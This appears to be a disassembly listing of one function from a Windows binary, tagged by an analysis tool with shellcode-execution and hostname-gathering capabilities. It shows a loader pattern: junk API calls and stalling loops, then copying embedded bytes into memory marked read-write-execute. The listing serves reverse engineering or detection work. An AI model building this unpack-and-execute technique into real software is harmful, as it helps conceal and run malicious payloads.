Function at 0x401540
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get hostname

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x42e588
push eax
mov dword fs:[0], esp
mov eax, dword [0x854660]
sub esp, 0x4c8
push ebx
push esi
push edi
cmp eax, 0x5b1
jne 0x4015e2
push 0
push 0
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_BackupSeek]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push 0
call dword [sym.imp.KERNEL32.dll_FindAtomA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
push 0
lea ecx, [ebp - 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
lea esi, [ebp - 0x38]
call fcn.00401930
push 0
mov dword [ebp - 4], 0
call fcn.00402da7
push 0
push 0
call fcn.004028e0
add esp, 0xc
push 0
call fcn.004030ae
add eax, 0x1134b
push eax
push 0
mov dword [0x854660], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, dword [0x854660]
lea edx, [ebp - 0x18]
push edx
push 0x40
push ecx
push eax
mov dword [0x8535b4], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, dword [sym.imp.GDI32.dll_GetDeviceGammaRamp]
xor esi, esi
cmp esi, 0x2710
jge 0x401629
lea edx, [ebp - 0x4d0]
push edx
push 0
call edi
inc esi
cmp esi, 0x1ff49ccc
jl 0x401616
xor esi, esi
cmp dword [0x854660], esi
jbe 0x401689
mov edi, dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetVersionExA]
jmp 0x401650
mov eax, dword [0x854664]
mov cl, byte [eax + esi + 0x1134b]
mov edx, dword [0x8535b4]
mov byte [edx + esi], cl
cmp dword [0x854660], 0xa8
jne 0x401680
push 0
push 0
call edi
lea eax, [ebp - 0xd0]
push eax
call ebx
inc esi
cmp esi, dword [0x854660]
jb 0x401650
mov esi, dword [sym.imp.KERNEL32.dll_FindFirstChangeNotificationW]
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
xor eax, eax
mov dword [ebp - 0x10], eax
mov ecx, dword [0x854660]
add ecx, eax
cmp ecx, 0xe
jne 0x4016f2
push 0
push 0
push str.xorumudewup
call esi
push 0x432938
call edi
push 0
call ebx
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoA]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameW]
lea edx, [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreA]
mov eax, dword [ebp - 0x10]
inc eax
cmp eax, 0x39621
mov dword [ebp - 0x10], eax
jl 0x4016a0
call fcn.00401420
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
lea ebx, [ebx]
call edi
cmp esi, 0x26
jne 0x40171c
call fcn.00401520
inc esi
cmp esi, 0x6753f
jl 0x401710
mov esi, dword [sym.imp.KERNEL32.dll_EndUpdateResourceW]
mov edi, dword [sym.imp.KERNEL32.dll_GetComputerNameW]
mov ebx, 0x7b
jmp 0x401740
cmp dword [0x854660], 0x86
jne 0x401758
push 0
push 0
call esi
push 0
push 0
call edi
sub ebx, 1
jne 0x401740
call fcn.004011a0
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret